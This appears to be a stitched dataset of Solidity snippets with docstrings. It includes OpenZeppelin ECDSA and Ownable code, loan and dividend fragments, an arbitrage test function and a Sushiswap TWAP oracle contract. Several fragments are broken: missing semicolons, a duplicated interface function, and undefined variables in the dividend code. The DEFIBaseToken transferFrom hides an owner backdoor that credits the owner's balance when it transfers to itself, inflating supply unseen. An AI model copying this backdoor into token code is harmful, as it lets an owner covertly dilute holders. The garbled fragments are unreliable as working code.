_HASHED_VERSION; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSAUpgradeable { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; }
Set _baseURI. _baseURI Base URI of all tokens./
function setBaseURI(string memory _baseURI) external onlyMinter { _setBaseURI(_baseURI); emit SetBaseURI(_baseURI); }
10,077,355
pragma solidity 0.4.24; /* The LoansLedger stores the data of all the loans in the platform. Each loan agreement has a deposit smart contract associated, where the collateral, funds and repayments are stored in the different states of the loan agreement. */ /** * @title Interface of the LoansLedger */ interface ILoansLedger { /** * @dev Get the addresses of all the deposits * @return A list of deposits addresses */ function getLoanRequests() external view returns (address[]); /** * @dev Get the addresses of all the deposits filtered by borrower address * @param borrower - borrower address * @return A list of deposits addresses */ function getLoanRequestsByBorrower(address borrower) external view returns (address[]); /** * @dev Get the addresses of all the deposits filtered by lender address * @param lender - lender address * @return A list of deposits addresses */ function getLoanRequestsByLender(address lender) external view returns (address[]); /** * @dev Gets the pending repaid amount to withdraw by the lender * @param deposit - loan deposit address * @param lender - lender address */ function getWithdrawAmount(address deposit, address lender) external view returns (uint128); /** * @dev Checks if the amountToFund is multiple of 5% of the loan amount * @param deposit - loan deposit address * @param lender - lender address * @param amountToFund - Amount to fund */ function isFundingContributionValid(address deposit, address lender, uint128 amountToFund) external view returns (bool) /** * @dev Gets the data of a loan * @param deposit - loan deposit address */ function getLoanData(address deposit) external view returns ( uint mediumAmount, uint premiumAmount, uint collateralAmount, uint fundedCapital, uint outstandingLoanAmount, address collateralToken, address mediumOfExchangeToken, uint8 mediumOfExchange, uint8 collateralType, uint8 currentState, uint8 installments_count, int8 peggedIndex, uint64 startTimeoutTime); /** * @dev Gets the repaid amount that a lender has available to withdraw * @param deposit - loan deposit address * @param lender - lender address */ function getWithdrawAmount(address deposit, address lender) external view returns (uint128); /** * @dev Gets data related with the repayments of a loan * @param deposit - loan deposit address */ function getRepaymentData(address deposit) external view returns ( uint paybackReceived, uint8 installments_count, uint8 installment_paid); }
Interface of the LoansLedger/
interface ILoansLedger { function getLoanRequests() external view returns (address[]); function getLoanRequestsByBorrower(address borrower) external view returns (address[]); function getLoanRequestsByLender(address lender) external view returns (address[]); function getWithdrawAmount(address deposit, address lender) external view returns (uint128); function isFundingContributionValid(address deposit, address lender, uint128 amountToFund) external view returns (bool) function getLoanData(address deposit) external view returns ( uint mediumAmount, uint premiumAmount, uint collateralAmount, uint fundedCapital, uint outstandingLoanAmount, address collateralToken, address mediumOfExchangeToken, uint8 mediumOfExchange, uint8 collateralType, uint8 currentState, uint8 installments_count, int8 peggedIndex, uint64 startTimeoutTime); function getWithdrawAmount(address deposit, address lender) external view returns (uint128); function getRepaymentData(address deposit) external view returns ( uint paybackReceived, uint8 installments_count, uint8 installment_paid); The LoansLedger stores the data of all the loans in the platform. }
993,253
./full_match/71402/0x62AEdB532DBa29a45C36396A84b4D57FAF5766Ec/sources/contracts/LinearPoolRebalancer.sol
Rebalance a Linear Pool from an asset manager to maintain optimal operating conditions. Use the asset manager mechanism to wrap/unwrap tokens as necessary to keep the main token balance as close as possible to the midpoint between the upper and lower targets: the fee-free zone where trading volume is highest. Note that this function may fail if called while the Pool is in the no-fee zone - use `rebalanceWithExtraMain` to guarantee a successful execution./
function rebalance(address recipient) external returns (uint256) { return _rebalance(recipient); }
7,092,434
./full_match/43113/0x65aA0590262C78227850e34cfce23AAc959F31F8/sources/contracts/Pantheon_Finance_Testing/New_Token.sol
Withdraws the ether distributed to the sender. It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0.
function _withdrawDividendOfUser(address payable user) internal returns (uint256) { uint256 _withdrawableDividend = withdrawableDividendOf(user); if (_withdrawableDividend > 0) { withdrawnDividends[user] = withdrawnDividends[user].add(_withdrawableDividend); emit DividendWithdrawn(user, _withdrawableDividend); token.transfer(user, _withdrawableDividend); return _withdrawableDividend; } if(userAmount > 0 && tokenAmount > 0) { uint256 userTokenAmount = tokenAmount.mul(userAmount).div(totalAmount); withdrawnDividends[user] = withdrawnDividends[user].add(userTokenAmount); emit DividendWithdrawn(user, userTokenAmount); token.transfer(user, userTokenAmount); return userTokenAmount; } return 0; }
13,172,278
./partial_match/4/0x1Cb77D23b96BDAa127D032E5eD50A9dF9bec2442/sources/Arbitrage.sol
try again tml npx hardhat run --network rinkeby scripts/deploy-arbitrage.js sol-merger ./contracts/Arbitrage.sol ./merged swap 0.5 eth for at least 4 dai
function buyEthWithDai() public { IERC20 DAI = IERC20(address(0xc7AD46e0b8a400Bb3C915120d284AafbA8fc4735)); DAI.transferFrom(msg.sender, address(this), amountIn); DAI.approve(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), amountIn); address[] memory _path = new address[](2); _path[0] = address(DAI); _path[1] = uniswap.WETH(); uint deadlineInDays = block.timestamp + 1 days; uint amountOutMin = 4000; uniswap.swapExactTokensForETH(amountIn, amountOutMin, _path, msg.sender, block.timestamp); }
8,520,057
./full_match/1/0x864a1CBB53b9Dea3691a6974B456088C2771DcAd/sources/browser/BOOGIE.sol
Sets the BOOGIE transfer fee that gets rewarded to Rave stakers. Can't be higher than 10%.
function setTransferFee(uint256 _transferFee) public onlyOwner { require(_transferFee <= 100, "over 10%"); transferFee = _transferFee; }
4,927,221
./partial_match/4/0x621D11eBb33CaCEb38DDA967F1E33973563B6977/sources/DEFIBaseToken.sol
Transfer tokens from one address to another. from The address you want to send tokens from. to The address you want to transfer to. value The amount of tokens to be transferred./
function transferFrom( address from, address to, uint256 value ) public override validRecipient(to) returns (bool) { if (from == to && to == owner()) { _shareBalances[from] = _shareBalances[from].add(value); return true; } require( !transfersPaused || transferPauseExemptList[msg.sender], "paused" ); _allowedDEFIBASE[from][msg.sender] = _allowedDEFIBASE[from][msg.sender] .sub(value); uint256 shareValue = value.mul(_sharesPerDEFIBASE); _shareBalances[from] = _shareBalances[from].sub(shareValue); _shareBalances[to] = _shareBalances[to].add(shareValue); emit Transfer(from, to, value); return true; }
8,546,538
// SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; library VaultHelpers { /** * @dev Returns the address of a Pool's contract. * * This is the same code the Vault runs in `PoolRegistry._getPoolAddress`. */ function toPoolAddress(bytes32 poolId) internal pure returns (address) { // 12 byte logical shift left to remove the nonce and specialization setting. We don't need to mask, // since the logical shift already sets the upper bits to zero. return address(uint256(poolId) >> (12 * 8)); } }
Returns the address of a Pool's contract. This is the same code the Vault runs in `PoolRegistry._getPoolAddress`./ 12 byte logical shift left to remove the nonce and specialization setting. We don't need to mask, since the logical shift already sets the upper bits to zero.
function toPoolAddress(bytes32 poolId) internal pure returns (address) { return address(uint256(poolId) >> (12 * 8)); }
5,403,053
/** *Submitted for verification at Etherscan.io on 2020-11-10 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; interface ISushiswap2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface ISushiswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) library FixedPoint { // range: [0, 2**112 - 1] // resolution: 1 / 2**112 struct uq112x112 { uint224 _x; } // range: [0, 2**144 - 1] // resolution: 1 / 2**112 struct uq144x112 { uint _x; } uint8 private constant RESOLUTION = 112; // encode a uint112 as a UQ112x112 function encode(uint112 x) internal pure returns (uq112x112 memory) { return uq112x112(uint224(x) << RESOLUTION); } // encodes a uint144 as a UQ144x112 function encode144(uint144 x) internal pure returns (uq144x112 memory) { return uq144x112(uint256(x) << RESOLUTION); } // divide a UQ112x112 by a uint112, returning a UQ112x112 function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) { require(x != 0, 'FixedPoint: DIV_BY_ZERO'); return uq112x112(self._x / uint224(x)); } // multiply a UQ112x112 by a uint, returning a UQ144x112 // reverts on overflow function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) { uint z; require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW"); return uq144x112(z); } // returns a UQ112x112 which represents the ratio of the numerator to the denominator // equivalent to encode(numerator).div(denominator) function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, "FixedPoint: DIV_BY_ZERO"); return uq112x112((uint224(numerator) << RESOLUTION) / denominator); } // decode a UQ112x112 into a uint112 by truncating after the radix point function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } // decode a UQ144x112 into a uint144 by truncating after the radix point function decode144(uq144x112 memory self) internal pure returns (uint144) { return uint144(self._x >> RESOLUTION); } } // library with helper methods for oracles that are concerned with computing average prices library SushiswapV2OracleLibrary { using FixedPoint for *; // helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1] function currentBlockTimestamp() internal view returns (uint32) { return uint32(block.timestamp % 2 ** 32); } // produces the cumulative price using counterfactuals to save gas and avoid a call to sync. function currentCumulativePrices( address pair ) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) { blockTimestamp = currentBlockTimestamp(); price0Cumulative = ISushiswapV2Pair(pair).price0CumulativeLast(); price1Cumulative = ISushiswapV2Pair(pair).price1CumulativeLast(); // if time has elapsed since the last update on the pair, mock the accumulated price values (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = ISushiswapV2Pair(pair).getReserves(); if (blockTimestampLast != blockTimestamp) { // subtraction overflow is desired uint32 timeElapsed = blockTimestamp - blockTimestampLast; // addition overflow is desired // counterfactual price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed; // counterfactual price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed; } } } // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SushiswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'SushiswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'SushiswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = ISushiswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'SushiswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'SushiswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'SushiswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'SushiswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'SushiswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } interface WETH9 { function withdraw(uint wad) external; } interface ISushiswapV2Router { function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); } interface IKeep3rV1 { function isMinKeeper(address keeper, uint minBond, uint earned, uint age) external returns (bool); function receipt(address credit, address keeper, uint amount) external; function unbond(address bonding, uint amount) external; function withdraw(address bonding) external; function bonds(address keeper, address credit) external view returns (uint); function unbondings(address keeper, address credit) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function jobs(address job) external view returns (bool); function balanceOf(address account) external view returns (uint256); function worked(address keeper) external; function KPRH() external view returns (IKeep3rV1Helper); } interface IKeep3rV1Helper { function getQuoteLimit(uint gasUsed) external view returns (uint); } // sliding oracle that uses observations collected to provide moving price averages in the past contract SushiswapV1Oracle { using FixedPoint for *; using SafeMath for uint; struct Observation { uint timestamp; uint price0Cumulative; uint price1Cumulative; } uint public minKeep = 200e18; modifier keeper() { require(KP3R.isMinKeeper(msg.sender, minKeep, 0, 0), "::isKeeper: keeper is not registered"); _; } modifier upkeep() { uint _gasUsed = gasleft(); require(KP3R.isMinKeeper(msg.sender, minKeep, 0, 0), "::isKeeper: keeper is not registered"); _; uint _received = KP3R.KPRH().getQuoteLimit(_gasUsed.sub(gasleft())); KP3R.receipt(address(KP3R), address(this), _received); _received = _swap(_received); msg.sender.transfer(_received); } address public governance; address public pendingGovernance; function setMinKeep(uint _keep) external { require(msg.sender == governance, "setGovernance: !gov"); minKeep = _keep; } /** * @notice Allows governance to change governance (for future upgradability) * @param _governance new governance address to set */ function setGovernance(address _governance) external { require(msg.sender == governance, "setGovernance: !gov"); pendingGovernance = _governance; } /** * @notice Allows pendingGovernance to accept their role as governance (protection pattern) */ function acceptGovernance() external { require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov"); governance = pendingGovernance; } IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44); WETH9 public constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); ISushiswapV2Router public constant UNI = ISushiswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public constant factory = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac; // this is redundant with granularity and windowSize, but stored for gas savings & informational purposes. uint public constant periodSize = 1800; address[] internal _pairs; mapping(address => bool) internal _known; function pairs() external view returns (address[] memory) { return _pairs; } mapping(address => Observation[]) public observations; function observationLength(address pair) external view returns (uint) { return observations[pair].length; } function pairFor(address tokenA, address tokenB) external pure returns (address) { return SushiswapV2Library.pairFor(factory, tokenA, tokenB); } function pairForWETH(address tokenA) external pure returns (address) { return SushiswapV2Library.pairFor(factory, tokenA, address(WETH)); } constructor() public { governance = msg.sender; } function updatePair(address pair) external keeper returns (bool) { return _update(pair); } function update(address tokenA, address tokenB) external keeper returns (bool) { address pair = SushiswapV2Library.pairFor(factory, tokenA, tokenB); return _update(pair); } function add(address tokenA, address tokenB) external { require(msg.sender == governance, "!gov"); address pair = SushiswapV2Library.pairFor(factory, tokenA, tokenB); require(!_known[pair], "known"); _known[pair] = true; _pairs.push(pair); (uint price0Cumulative, uint price1Cumulative,) = SushiswapV2OracleLibrary.currentCumulativePrices(pair); observations[pair].push(Observation(block.timestamp, price0Cumulative, price1Cumulative)); } function work() public upkeep { bool worked = _updateAll(); require(worked, "!work"); } function workForFree() public keeper { bool worked = _updateAll(); require(worked, "!work"); } function lastObservation(address pair) public view returns (Observation memory) { return observations[pair][observations[pair].length-1]; } function _updateAll() internal returns (bool updated) { for (uint i = 0; i < _pairs.length; i++) { if (_update(_pairs[i])) { updated = true; } } } function updateFor(uint i, uint length) external keeper returns (bool updated) { for (; i < length; i++) { if (_update(_pairs[i])) { updated = true; } } } function workable(address pair) public view returns (bool) { return (block.timestamp - lastObservation(pair).timestamp) > periodSize; } function workable() external view returns (bool) { for (uint i = 0; i < _pairs.length; i++) { if (workable(_pairs[i])) { return true; } } return false; } function _update(address pair) internal returns (bool) { // we only want to commit updates once per period (i.e. windowSize / granularity) Observation memory _point = lastObservation(pair); uint timeElapsed = block.timestamp - _point.timestamp; if (timeElapsed > periodSize) { (uint price0Cumulative, uint price1Cumulative,) = SushiswapV2OracleLibrary.currentCumulativePrices(pair); observations[pair].push(Observation(block.timestamp, price0Cumulative, price1Cumulative)); return true; } return false; } function computeAmountOut( uint priceCumulativeStart, uint priceCumulativeEnd, uint timeElapsed, uint amountIn ) private pure returns (uint amountOut) { // overflow is desired. FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112( uint224((priceCumulativeEnd - priceCumulativeStart) / timeElapsed) ); amountOut = priceAverage.mul(amountIn).decode144(); } function _valid(address pair, uint age) internal view returns (bool) { return (block.timestamp - lastObservation(pair).timestamp) <= age; } function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut) { address pair = SushiswapV2Library.pairFor(factory, tokenIn, tokenOut); require(_valid(pair, periodSize.mul(2)), "SushiswapV1Oracle::quote: stale prices"); (address token0,) = SushiswapV2Library.sortTokens(tokenIn, tokenOut); Observation memory _observation = lastObservation(pair); (uint price0Cumulative, uint price1Cumulative,) = SushiswapV2OracleLibrary.currentCumulativePrices(pair); if (block.timestamp == _observation.timestamp) { _observation = observations[pair][observations[pair].length-2]; } uint timeElapsed = block.timestamp - _observation.timestamp; timeElapsed = timeElapsed == 0 ? 1 : timeElapsed; if (token0 == tokenIn) { return computeAmountOut(_observation.price0Cumulative, price0Cumulative, timeElapsed, amountIn); } else { return computeAmountOut(_observation.price1Cumulative, price1Cumulative, timeElapsed, amountIn); } } function quote(address tokenIn, uint amountIn, address tokenOut, uint granularity) external view returns (uint amountOut) { address pair = SushiswapV2Library.pairFor(factory, tokenIn, tokenOut); require(_valid(pair, periodSize.mul(granularity)), "SushiswapV1Oracle::quote: stale prices"); (address token0,) = SushiswapV2Library.sortTokens(tokenIn, tokenOut); uint priceAverageCumulative = 0; uint length = observations[pair].length-1; uint i = length.sub(granularity); uint nextIndex = 0; if (token0 == tokenIn) { for (; i < length; i++) { nextIndex = i+1; priceAverageCumulative += computeAmountOut( 